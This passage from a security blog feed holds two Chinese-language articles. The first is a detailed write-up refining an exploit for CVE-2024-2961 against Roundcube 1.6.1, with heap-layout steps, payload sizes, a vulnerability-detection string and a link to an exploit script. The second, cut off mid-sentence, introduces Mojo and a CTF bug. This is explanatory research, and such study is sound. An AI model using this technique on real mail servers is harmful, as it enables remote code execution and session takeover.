C是我们期望的内存。</li><li>经过一段时间的PHP脚本执行，到达了特定的程序位置，freelist变成了: F1 -&gt; D -&gt; B -&gt; C.</li></ol><p>具体来说，在某个时间段，我们同时使用了F1, F2, F3, F4, A，但最后我们释放了F1，而其他slots没有被释放。这种情况我们并不能通过简单地通过增加padding slots来规避，比如我们再加一个F5</p><ol type="1"><li>F1 -&gt; F2 -&gt; F3 -&gt; F4 -&gt; F5 -&gt; A -&gt; D -&gt; B -&gt; C</li><li>F1 -&gt; A -&gt; D -&gt; B -&gt; C</li></ol><p>这个时候虽然A没有被使用，但是前面多了一个F1。</p><p>这里我们有两种解决思路:</p><p><strong>思路1: 交换A和F1的位置</strong></p><p>如果我们将初始freelist变成 <code>A -&gt; F2 -&gt; F3 -&gt; F4 -&gt; F1 -&gt; D -&gt; B -&gt; C</code>，最终也可以达到我们期望的效果。这个操作等价与把A往前移到4次，因此操作可以参考case 4.</p><p><strong>思路2: 想办法让F1被拿走</strong></p><p>当我们填充一个F5之后，在到达特定程序位置之前，改变程序路径，让F1被拿走。亦或者你可以找到一个稳定消耗对应slots的地方。相比于思路1，这个操作比较依赖目标PHP应用。</p><p>这里比较好的策略是<strong>如果思路2可用，首先选择思路2，其次思路1</strong>。 这是为什么呢？ 因为在实际中我们并不知道需要将A移动多少次，其次你可能还需要移动D, B, C... 这就麻烦了。但是两个方法都需要你去找到一个合适数量的padding slots，我觉得可以先本地测试，然后远程目标在这个范围内上下浮动。</p><h3 id="x03-playing-with-roundcube">0x03 Playing with Roundcube</h3><p>前面我们实际已经提到了部分利用roundcube的细节问题，这里我们开始去真正的审视roundcube的利用过程。原文中的核心思路分为两个阶段:</p><ol type="1"><li>泄露PHP堆上某个地址。</li><li>通过第一步确定地址，确定<code>$_SESSION</code>相关结构的地址； 然后去修改<code>$_SESSION</code>的内容，去触发某个稳定的反序列链 i.e., (<code>unserialize($_SESSION["preferences"])</code>)。</li></ol><p>原文中利用方式的一些问题:</p><ol type="1"><li>阶段1的泄露方式不稳定，整体上比较粗糙。</li><li>阶段2确定<code>$_SESSION</code>相关结构的地址时，用的写死offset。这导致在实际过程中基本是无法利用的，除非是和原作者一样的环境。</li></ol><p>另外给出的exp.py和文中利用方式存在差异，文中部分利用细节是有问题的。</p><p>这篇文章针对性对其两个阶段分布做出了优化:</p><ol type="1"><li>让阶段1更加稳定，告诉你如何根据目标环境进行调整参数。</li><li>只要阶段1能成功，阶段2可以确定大概率成功。</li></ol><p>下面我们每一个阶段逐步分析。</p><h4 id="阶段1-堆地址泄露">阶段1: 堆地址泄露</h4><p>首先介绍一下这个过程的大致思路:</p><ol type="1"><li>首先在某个特定程序位置构造出freelist: A -&gt; D -&gt; B -&gt; C；</li><li>在后续执行中，位置P0处的<code>php_iconv</code>拿到A，实现1字节越写B的next_free_slot指针的低地址位。然后，<code>php_iconv</code>执行结束后会释放A，此时freelist就变成了A -&gt; D -&gt; B -&gt; C'， 其中C'为C中间的某个位置；</li><li>位置P1拿到A，freelist变成了 D -&gt; B -&gt; C'；</li><li>位置P2拿到D，这个D实际被一个PHP字符串S1使用，freelist变成了B -&gt; C'；</li><li>位置P3拿到B，freelist变成了C'；</li><li>位置P4拿到C'，因为C'和D存在重叠区域，在写C'过程中会修改S1的长度。</li><li>位置P5，拼接S1到其他字符串，然后输出拼接字符串。此时会输出多余的字符串，其中就包含了我们需要的堆上地址。</li></ol><p>各P0-P5准确位置:</p><ul><li>P0: <code>roundcubemail-1.6.1/program/lib/Roundcube/rcube_charset.php:334 (iconv)</code></li><li>P1: <code>roundcubemail-1.6.1/program/include/rcmail_sendmail.php:817 (implode)</code></li><li>P2: <code>roundcubemail-1.6.1/program/include/rcmail_output_html.php:900 (sprintf)</code></li><li>P3: <code>roundcubemail-1.6.1/program/include/rcmail_output_html.php:887 (json_serialize)</code></li><li>P4: <code>roundcubemail-1.6.1/program/include/rcmail_output_html.php:900 (implode)</code></li></ul><p>可以看到都是PHP内部函数消耗了相应slots。</p><p>我不想详细介绍上述整体过程，原文讲的很好。原文详细地讲述了是如何让每个位置恰好拿到对应的slots的。下面我们讲一些稍微细节的地方，这些细节大概率可以帮你回答你在读原文时产生的一些疑惑 （我希望）。</p><p><strong>为什么选择了0x800作为目标slots大小？</strong></p><p>前面提到的freelist上A，B，C，D都是0x800-slots。原文提到的原因如下:</p><blockquote><p><em><code>sprintf()</code> allocates a chunk of size 0x800 to store the result string, which forces us into attacking on this chunk size.</em></p></blockquote><p>这个<code>sprintf</code>位于前面提到P2。你如果仔细查看了sprintf的代码[6]，你会发现sprintf总是会申请<code>240 * (2 ^ n)</code>大小的内存。当<code>n = 3</code>等于3时，其申请的内存会对齐到0x800上。那么实际不使用0x800也是完全可以，比如还可以使用0x400 (<code>n = 2</code>)。</p><p><strong>一个异常0x800 slot</strong></p><p>文章利用方式要求P0处的freelist为A -&gt; D -&gt; B -&gt; C，以便于<code>php_iconv</code>可以拿到A。传入这里的<code>php_iconv</code>的值来源于<code>_to</code>参数 (目标邮件地址)，其参数大小<code>l</code>接近0x800，以便于在使得<code>l + 32</code>可以直接拿到0x800。但是非常致命一个东西来了，在P0位置的前面不远处，会调用一次<code>mb_convert_encoding($input, 'UTF-8', 'UTF-8')</code>来处理<code>_to</code>参数。Roundcube中的注释提到是为了清理掉一些invalid characters. 那么这里我们感兴趣的运行逻辑可以简化为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$out1 &#x3D; mb_convert_encoding($input, &#39;UTF-8&#39;, &#39;UTF-8&#39;);</span><br><span class="line">$out2 &#x3D; iconv(&quot;UTF-8&quot;, &quot;ISO-2022-CN-EXT&quot;, $out1);</span><br></pre></td></tr></table></figure><p>前面我们提到了<code>_to</code>参数的大小是接近0x800，并且是可以对齐到0x800，意味着在<code>mb_convert_encoding</code>这里会使用一个0x800-slot。这会导致什么问题呢？ 在P0处理完之后，直到P1处理开始，freelist会变成 F -&gt; A -&gt; D -&gt; B -&gt; C。没错，多了一个0x800，导致后续利用出问题。这是作者文章中没有提到的东西，因此这是一个异常0x800-slot申请。</p><p>这个地方必须要解决掉，我的基本思路是让<code>_to</code>变小，使得<code>mb_convert_encoding</code>不会拿到0x800-slot，但是<code>php_iconv</code>依然可以拿到0x800-slot并造溢出。这里借助了<code>php_iconv</code>的多步转换。设<code>_to</code>参数长度为<code>l</code>，<code>php_iconv</code>转换过程如下:</p><ol type="1"><li>output buffer初始化为<code>l +  32</code>，因为我们调小了<code>l</code>，这一步并不会拿到0x800。</li><li>当初始output buffer被用完，但是input buffer还没有处理完时，<code>php_iconv</code>会扩容output_buffer。扩容之后的大小为<code>2l + 32</code>，这时我们再拿到0x800，实现越界写。</li></ol><p>那么这里如何计算<code>l</code>呢？ 其约束条件如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">align8(2 * l + 32 + 24 + 1) &#x3D; 2048 &#x3D;&#x3D;&#x3D;&gt; l &#x3D; 995</span><br></pre></td></tr></table></figure><p>其中24表示PHP string header大小，1字符串表示结尾的<code>\x00</code>，<code>align8</code>表示最终申请内存需要对其8的倍数。<code>align8</code>这里比较关键，可以看到<code>2 * 995 + 32 + 24 + 1 == 0x7FF</code>并不是 0x800。那么我们如果设计这995个字符呢？ 它的形状应该如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">P | n * &quot;劄\n&quot; | 劄 |</span><br></pre></td></tr></table></figure><p>我们使用<code>劄\n</code>来扩容原始的字符串，最后依然是是用<code>劄</code>来实现越界写，再补上一些合适ascii字符来作为padding。其对应的约束应当为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(3 + 32 + 995) - (6x + 5y) &#x3D; 1 &#x3D;&#x3D;&#x3D;&gt; 6x + 5y &#x3D; 1029 &#x3D;&#x3D;&#x3D;&gt; x &#x3D; 169, y &#x3D;  3</span><br></pre></td></tr></table></figure><p>首先此时需要多增长995个字符，1表示我们需要这时output buffer只空余1个字符，因为此时output buffer实际大小只有0x7FF。</p><p><strong>拿到C'是<code>implode()</code>而不是<code>sprintf()</code></strong></p><p>拿到C' slot的过程是发现在P4，文章中说是在最后<code>sprintf()</code>中拿到了它。</p><blockquote><p>The <code>sprintf()</code> call adds a few bytes to this, and results in a new chunk of size <em>0x800</em> being allocated, in <code>C'</code>.</p></blockquote><p>实际<strong>这是不可能做到的</strong>，而真正拿到C'实际是在P4中的<code>implode()</code>。首先我们在P0这里改写了B的next_free_slot指针最低位，再结合我们在文章最初提到的溢出字符串组合。这个最低位只可能被改写成: 48, 49, 4A, 4B, 4C, 4D。相当于<code>C' = C + b</code>，其中<code>b</code>等于前面这些值。另外，我们在前面提到了<code>sprintf()</code>在这里创建了一个长度为1920的字符串。因此，<code>sprintf()</code>最多可以写到<code>C + 1920 + 0x4D + 24</code>的位置上。其中<code>1920 + 0x4D + 24 = 2021</code>是小于0x800，因此这里根本不能实现越界写。我不知道作者如何这样的认为是<code>sprintf()</code>拿到了这个C'。</p><h4 id="阶段2-修改_session">阶段2: 修改<code>$_SESSION</code></h4><p>首先介绍一下这个过程的大致思路:</p><ol type="1"><li>借助阶段1得到的堆上地址，确定<code>$_SESSION</code>数组的bufferfly地址 A1，其最终会落在0x500-slot上。关于bufferfly相关内容可以看原文，也可以去看我之前写一篇文章[7]。</li><li>将0x400-slot作为<code>php_iconv</code>中目标溢出slot，在内存布置阶段，申请大量的0x400-slots，并且在这些slots中特定位置写入A1附近位置的地址A2，然后释放它们填充对应的freelist。其freelist为: ... -&gt; A -&gt; B -&gt; C -&gt; D -&gt; ...</li><li>在P0位置中的<code>php_iconv</code>拿到某个其中的0x400-slot，比如A，触发溢出，将其连续位置上的下一个0x400-slot B的next_free_slot指针改写。这个时候freelist就变成了 ... -&gt; B -&gt; C' -&gt; A2 ...， 注意这个B需要存在与freelist之中，C'里面包含就是在step2里面写入的A2。</li><li>在P6位置处，大量申请0x400，最终拿到A2，写掉<code>$_SESSION</code>数组的bufferfly，新增一个<code>$_SESSION["preferences"]</code>，它的值为可利用的反序列字符串。</li><li>为了存放字符串<code>"preferences"</code>和相关反序列字符串，并获取它们的地址。布置0x500-slots对应freelist成为一个net (参考前case 5)，使得A1刚好落在这个net的某个洞上，而在其连续位置上的下一个0x500-slot中存放前面这些我们需要的字符串。自然地，这些字符串的地址为A1加上相应的offset。</li></ol><p>其中P6位于<code>roundcubemail-1.6.1/program/lib/Roundcube/rcube_mime.php:parse_address_list(...)</code>。</p><p>同样我不会详细介绍每一步的细节，原文写的比较好。这里我提两个细节问题。</p><p><strong>如何确定<code>$_SESSION</code>数组的bufferly地址</strong></p><p>原文给出的exp.py里面用的是一个死offset。</p><blockquote><p>SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100</p></blockquote><p>这显然是没有办法在其他环境使用的，我们如何优化它呢？ 这里我们可以来爆破这个地址，提前是让这个bufferfly靠近我们泄露在阶段1泄露的地址。为了实现这个前提，我们可以在阶段2开始之前，做一些额外的内存操作，使得阶段2的PHP内存初始环境，比较接近在阶段1在布置泄露的地址相关内存之后的内存环境。在阶段2里面做的这些额外内存操作，我将其称之为memory fix。</p><p><strong>优化0x400-slots的freelist布置</strong></p><p>原文给出的exp.py给出0x400-slots布置如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">10 * alloc_value(a[i], 0x400)</span><br><span class="line">free_value(a)</span><br></pre></td></tr></table></figure><p>我们可以看一下这样布置之后freelist应该长是什么样子。在最初0x400-slots基本是没有怎么使用的，那么初始化状态下freelist应当为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A -&gt; B -&gt; C -&gt; D -&gt; E -&gt; F -&gt; ...</span><br></pre></td></tr></table></figure><p>经过上述alloc/free之后，会变成</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">... -&gt; F -&gt; D -&gt; B -&gt; E -&gt; C -&gt; A</span><br></pre></td></tr></table></figure><p>这样的话，高地址位的slots总是会被优先使用，使得阶段2中第3步极有可能失败。这时候最好将其再逆序一下。</p><p>总的来说，这种data-only利用方式是极为有用的，阶段2整个利用过程还是比较流畅的。虽然阶段2里面还要一些比较重要的细节，但是这些细节作者都兼顾了，具体可以看作者的文章和给出的exp.py。</p><h3 id="x04-检测cve-2024-2961">0x04 检测CVE-2024-2961</h3><p>这里我们可以通过一串magic string来检测目标roundcube是否存在CVE-2024-2961。</p><blockquote><p>aa劄劄劄a硇h瞘b碶c磘g硄d硇e礮</p></blockquote><p>其大概原理就是，roundcube会首先根据<code>_charset</code>参数，将接受到相关参数从利用<code>iconv</code> utf8转到<code>_charset</code>。这一步会发生overflow，导致最终output buffer少了一个字节。最后roundcube又会将前面转换得到的字符串再转回utf8来进行内部处理，最后输出。至于我是怎么构造这一串magic string的，可以参考ISO-2022-CN-EXT的标准和相关字符集。</p><h3 id="x05-改进的demo">0x05 改进的DEMO</h3><p>最终改进的利用方式位于 <a href="https://github.com/m4p1e/php-exploit/blob/master/CVE-2024-2961/exp.py">https://github.com/m4p1e/php-exploit/blob/master/CVE-2024-2961/exp.py</a></p><p>相关的执行结果如下，我本地大概爆破了153 * 2次，这个次数可以改进。</p><figure><img src="https://raw.githubusercontent.com/m4p1e/images/master/image-20240703231502782.png" alt="Improved DEMO" /><figcaption aria-hidden="true">Improved DEMO</figcaption></figure><h3 id="x06-总结">0x06 总结</h3><p>在这篇文章中我主要阐述了一些part2 [2]中的利用细节，以及我是如何处理它们的。非常适合想要深入理解PHP内核安全的同学去研究一下。</p><h3 id="相关引用">相关引用</h3><ol type="1"><li>Iconv, set the charset to rce: exploiting the glibc to hack the php engine (part 1), https://www.ambionics.io/blog/iconv-cve-2024-2961-p1</li><li>Iconv, set the charset to rce: exploiting the glibc to hack the php engine (part 2), https://www.ambionics.io/blog/iconv-cve-2024-2961-p2</li><li>PHP filter extension, https://www.php.net/manual/en/book.filter.php</li><li>CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/</li><li>Zend/zend_alloc_sizes.h, https://github.com/php/php-src/blob/master/Zend/zend_alloc_sizes.h</li><li>PHP sprintf(), https://github.com/php/php-src/blob/master/ext/standard/formatted_print.c#L755</li><li>PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应, https://m4p1e.com/2024/03/13/bad_php_ir/</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;CVE-2024-2961是最近公布出现在iconv中的漏洞。原发现者cfreal也陆续展示了关于它的利用方式[1] [2]。我之前是看过part 1 [1]，其中通过使用PHP filters来操作内存的方式相当有趣。在part 1的结尾，作者提到接下来还会公布两个有趣的</summary>
      
    
    
    
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    <title>以安全的视角浅谈新生代专为AI设计的语言Mojo</title>
    <link href="https://m4p1e.com/2024/05/14/pwn-with-mojo/"/>
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    <published>2024-05-14T17:00:00.000Z</published>
    <updated>2024-05-17T01:32:07.386Z</updated>
    
    <content type="html"><![CDATA[<h3 id="x01-介绍">0x01 介绍</h3><p>在刚刚过去的defcon quals 2024上出现了Mojo[1]写的应用，看见了小伙伴对它的吐槽，我也很好奇它到底是怎样的一个语言，决定深入探索一下。Mojo的主推者Chris Lattner同时是LLVM和Swift的创始人，我想这样优秀的编程语言领域工程师，品控一定不会太差。很早之前就听闻过Mojo，但是一直没有尝试过去了解它，对它的印象仅仅是来源于它本身的一个宣传 "<em>专为AI设计的语言，兼容Python，并且要比Python快xxx倍</em>"。那么我觉得它的定位，或者说试用人群，应当是<strong>那些以Python为主，并且想要写出高质量的代码的AI工程师</strong>。</p><p>接下来文章，首先我会介绍Mojo的一些基础知识和包括调试过程，然后去理解defcon中出现的Mojo应用中存在的问题以及利用的方式，最后给出我个人对Mojo的一些看法。</p><h3 id="x02-mojo基础">0x02 Mojo基础</h3><h4 id="def和fn函数">2.1 <code>def</code>和<code>fn</code>函数</h4><p>Mojo支持以两种函数定义，但是实际上<code>def</code>是<code>fn</code>一个语法糖。前者对标了Python中的<code>def</code>，相对来说更加的灵活，主要体现函数参数和返回值不需要显示地指明类型，函数体中的变量定义不需要显示使用<code>var</code>, 下面是一个简单的<code>def</code>函数例子:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">greet</span>(<span class="params">name</span>):</span></span><br><span class="line">    greeting = <span class="string">&quot;Hello, &quot;</span> + name + <span class="string">&quot;!&quot;</span></span><br><span class="line">    <span class="keyword">return</span> greeting</span><br></pre></td></tr></table></figure><p>看起来和Python似乎并没有太大的区别，可以说一模一样。而<code>fn</code>则是需要让<code>def</code>可选的东西全部变成必须，对标上面的例子的<code>fn</code>函数:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fn greet(name: String) -&gt; String:</span><br><span class="line">    var greeting = <span class="string">&quot;Hello, &quot;</span> + name + <span class="string">&quot;!&quot;</span></span><br><span class="line">    <span class="keyword">return</span> greeting</span><br></pre></td></tr></table></figure><p>使用了强制的类型检查，可以看做是<code>fn</code>是<code>def</code>的strict版本。</p><h4 id="变量类型与结构">2.2 变量，类型与结构</h4><p>Mojo允许定义一个指定类型的变量 (i.e.,<code>var id : Int</code>)。Mojo拥有所有的基本类型，对于number类型分的比较细(i.e.,<code>Int8</code>, <code>Int16</code> <code>Int32</code>, <code>Int64</code>, <code>Float32</code>, <code>Float64</code>等等)，并且用于拥有一些特殊类型:</p><ol type="1"><li><code>SIMD</code>类型，支持各种SIMD操作 (single instruction, multiple data)。你可以通过它来定一个固定长度的向量，并且高效地现实各种向量操作。</li><li>Register-passable和Memory-only类型，根据变量所在的位置来区分它们。</li></ol><p>更多的类型可以查看它们的官方文档。Mojo没有class的概念，与之对应是struct，这一点和Go比较类似，但它拥有和Python类似的magic methods.</p><h4 id="值语义和引用语义">2.4 值语义和引用语义</h4><p>Mojo同时支持值语义和引用语义。我觉得在了解一个语言的时候，是非常有必要去弄清楚它当中的值是如何传递的。值语义另外一个通俗的说法是值传递，而引用语义即为引用传递。值传递意味接收方并不会对原值产生影响，常见的值传递包括</p><ol type="1"><li>传递一个copied value,</li><li>传递一个immutable reference,</li></ol><p>常见的引用传递对应mutable reference. Mojo想要做到以值传递为主，并且安全地进行引用传递。</p><h4 id="所有权机制及变量生命周期">2.5 所有权机制及变量生命周期</h4><p>所有权机制是当下避免GC的一个相当火热内存管理实现方案，Mojo也采用了这种方案。Mojo为此提出了三个agrument specifier:</p><ol type="1"><li><code>borrowed</code> : 接受一个immutable reference作为参数。</li><li><code>inout</code> : 接受一个mutable reference作为参数。</li><li><code>owned</code> : 接受一个value, 并且当前参数是其唯一的owner。</li></ol><p>重点理解一下<code>owned</code>, 这里会出现两种情况:</p><ol type="1"><li>caller把某个值的所有权交给calle。Mojo使用<code>^</code>来作为transfer opertor, 例如<code>f(v^)</code>就将<code>v</code>对应的value所有权传递给了<code>f</code>。</li><li>callee获得是一个copied value. 当caller并没有使用<code>^</code>的时候，就会以copied value来传递。</li></ol><p>最终配合以值传递为主，Mojo就可以构建一个所有权机制。<code>def</code>所有参数默认为<code>owned</code>，而<code>fn</code>所有参数默认为<code>borrowed</code>。因此下面两个函数是等价的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">example</span>(<span class="params">borrowed a: Int, inout b: Int, c</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">fn example(a: Int, inout b: Int, owned c: <span class="built_in">object</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><p>另外Mojo中显式的引用是以<code>Reference</code>类型出现的，它对应的dereference operator为<code>[]</code>，这一点对于我来说比较奇怪，因为它经常和数组操作绑定在一起。比较奇特是Mojo对于变量生命周期的规定: 当一个变量不活跃之后，Mojo会马上释放它，而不是在等到某个destruction阶段，比如function desctruction。所以值得注意是的，你如果想在调试的时候一直hold某个值到函数结束，必须在函数结尾添加一个特殊的use。</p><p>本文需要的Mojo基础知识就这些了，后问会再提及一些Mojo基本类型的相关知识。 更多的Mojo features比如调用python代码，函数参数化和Traits等等可以查看文档，这里就不在累述了。</p><h3 id="x03-调试mojo">0x03 调试Mojo</h3><p>这一节我们将介绍Mojo的编译和调试，主要对象为defcon中的应用，我后面称其为Star。</p><p>Mojo是一个比较新的语言，目前该有的基础设施都比较匮乏，所以第一个让我比较头疼的事是如何调试它。官方提供了Debugging指导[2], 使用是LLDB，区别与我常用的GDB，试了一下感觉有些别扭还有一些限制。但是配合VSCode插件还是可以用的，于是我基本路线是:</p><ol type="1"><li>VSCode+LLDB: 弄清楚Mojo基本类型的内存布局和猜一下Mojo的内存管理。</li><li>GDB+Pwntools+Print大法: 检查相关应用运行时的内存。</li></ol><p>首先给出对Mojo的第一个吐槽，<strong>没有完善的异常处理</strong>。这表现出问题直接就是segmentfault，也不知道是为啥。比如需要在编译时通过环境变量<code>MOJO_PYTHON_LIBRARY</code>指定libpython来引入Python runtime，如果你Mojo里面调用了Python代码。当你没有指定时，也会编译通过，然后运行就segfault，通过GBD看backtrace和Star的编译脚本最终才确定原因。我们可以通过下面的方式来实现addressof</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Reference(target_var).get_unsafe_pointer()</span><br></pre></td></tr></table></figure><p>UnsafePointer支持直接打印。第二个需要吐槽是Mojo是编译速度极慢，甚至是一个极小的程序。</p><h4 id="patches">3.1 Patches</h4><p>Star的目标Mojo版本为<code>mojo-24.2.0</code>，但是Star所呈现的问题，在latest版本依然存在，所以我直接使用了它。因此在编译Star之前需要做一些简单的patches:</p><ul><li><p>将所有的<code>Reference.get_unsafe_pointer()</code>换成<code>Referecen.get_legacy_pointer()</code>.</p></li><li><p>使用Python代码中的对象之前，都需要对其解引用，例如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">py_app &#x3D; Python.import_module(&#39;app&#39;).App</span><br><span class="line">py_app.value()</span><br><span class="line"></span><br><span class="line"># 换成</span><br><span class="line"></span><br><span class="line">py_app &#x3D; Python.import_module(&#39;app&#39;).App</span><br><span class="line">py_app.value()[]</span><br></pre></td></tr></table></figure></li></ul><h4 id="基本类型list">3.2 基本类型List</h4><p>基本类型的定义都可以在官方stblib[3]中找到。这里重点介绍一下<code>List</code>，它对标Python中的List。它的基本定义为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#https://github.com/modularml/mojo/blob/main/stdlib/src/collections/list.mojo#L90</span></span><br><span class="line">struct <span class="type">List</span>[T: CollectionElement](CollectionElement, Sized, Boolable):</span><br><span class="line"><span class="string">&quot;&quot;&quot;The `List` type is a dynamically-allocated list.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    It supports pushing and popping from the back resizing the underlying</span></span><br><span class="line"><span class="string">    storage as needed.  When it is deallocated, it frees its memory.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Parameters:</span></span><br><span class="line"><span class="string">        T: The type of the elements.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">var data: UnsafePointer[T]</span><br><span class="line">    <span class="string">&quot;&quot;&quot;The underlying storage for the list.&quot;&quot;&quot;</span></span><br><span class="line">    var size: Int</span><br><span class="line">    <span class="string">&quot;&quot;&quot;The number of elements in the list.&quot;&quot;&quot;</span></span><br><span class="line">    var capacity: Int</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><p>可以看到Mojo的List实现是unsafe的。它在内存的分布为</p><p><img src="https://raw.githubusercontent.com/m4p1e/images/bb4f993e612998acd8de91f761c61747ab1a9620/mojo.jpg" /></p><p>即<code>struct</code>的字段分布是顺序的。值得注意是<code>List</code>的操作中并没有越界检测以及释放后将data pointer置NULL，已经用户反应了的此类问题[4]. 官方打算支持但是目前还没有时间。这一点是非常震惊我的，这意味OOB和UAF在Mojo是很容易做的。</p><h4 id="基本类型string">3.3 基本类型String</h4><p>它本质是一个<code>List</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#https://github.com/modularml/mojo/blob/main/stdlib/src/builtin/string.mojo#L328</span></span><br><span class="line">struct String(</span><br><span class="line">    Sized,</span><br><span class="line">    Stringable,</span><br><span class="line">    IntableRaising,</span><br><span class="line">    KeyElement,</span><br><span class="line">    Boolable,</span><br><span class="line">    Formattable,</span><br><span class="line">    ToFormatter,</span><br><span class="line">):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Represents a mutable string.&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    alias _buffer_type = <span class="type">List</span>[Int8]</span><br><span class="line">    var _buffer: Self._buffer_type</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><h3 id="x03-star中的问题">0x03 Star中的问题</h3><p>Star本身涵盖了defcon中的两个题目，第一个是一个越权问题，第二问题发生在privileged功能中，我不会过多的阐述如何利用第一个越权问题，假设我们已经拥有了想要的权限。Star是一个类似Web应用，注册了相关的路由，用来处理用户请求，其中某些路由是privileged。而Star本身的功能是实现了一个Database, 具有collections和fragments的概念，用户可以在database中新增和修改它们。Star不仅包括Mojo代码，也包括Python相关代码，前者会调用后者。</p><p>第二个问题和前面提到的<code>owned</code>标识符有关。因为原应用相对比较复杂，我用伪代码来阐述这里的问题, 如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">struct App:</span><br><span class="line">    var db: Database</span><br><span class="line"></span><br><span class="line">    <span class="keyword">async</span> fn add_collections (inout self: Self, name: String):</span><br><span class="line">        self.db.collections.add(Collection(name))</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">async</span> fn add_fragment (inout self: Self, col_index: Int, var data: String):</span><br><span class="line">        <span class="keyword">if</span> col_index &lt; <span class="built_in">len</span>(self.db.collections):</span><br><span class="line">            self.db.gef_ref(col_index)[].fragments.add(Fragment(data))</span><br><span class="line">            </span><br><span class="line">    <span class="keyword">async</span> fn do_modify(inout self: Self, col_index: Int, fra_index, <span class="built_in">filter</span> : String, value: String):</span><br><span class="line">        <span class="keyword">if</span> re.match(self.db.collection[col_index][fra_index]):</span><br><span class="line">            self.db.collection.gef_ref(col_index)[].fragments.history.get_ref(fra_index)[].add(value)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">async</span> fn modify_fragments (inout self: Self, owned db: Databse, owned <span class="built_in">filter</span>: String, owned value: string, <span class="built_in">dict</span> <span class="type">Dict</span>[<span class="built_in">int</span>,<span class="built_in">int</span>]):</span><br><span class="line">        <span class="keyword">for</span> e <span class="keyword">in</span> <span class="built_in">dict</span>.items():</span><br><span class="line">            var col_index = e.key()</span><br><span class="line">            var fra_index = e.value()</span><br><span class="line">            <span class="keyword">if</span> col_index &lt; <span class="built_in">len</span>(self.db.collections) <span class="keyword">and</span> fra_index &lt; <span class="built_in">len</span>(db.collections[col_index].fragments)</span><br><span class="line">                <span class="keyword">await</span> do_modify(col_index, fra_index, <span class="built_in">filter</span>, value)</span><br><span class="line">        ...</span><br></pre></td></tr></table></figure><p>这里<code>App</code>含一个<code>Database</code>实例， 它里面有4个async函数 (async函数运行实例在Mojo中视为一个coroutine):</p><ol type="1"><li>添加一个collection.</li><li>在指定的collection中添加一个fragment.</li><li>更新指定的fragments，用一个dict来给定它们的位置。此外还有一个正则表达式filter，用来匹配指定的fragments.</li><li>根据filter匹配fragment，对匹配到的fragment，在其history (类型<code>List</code>) 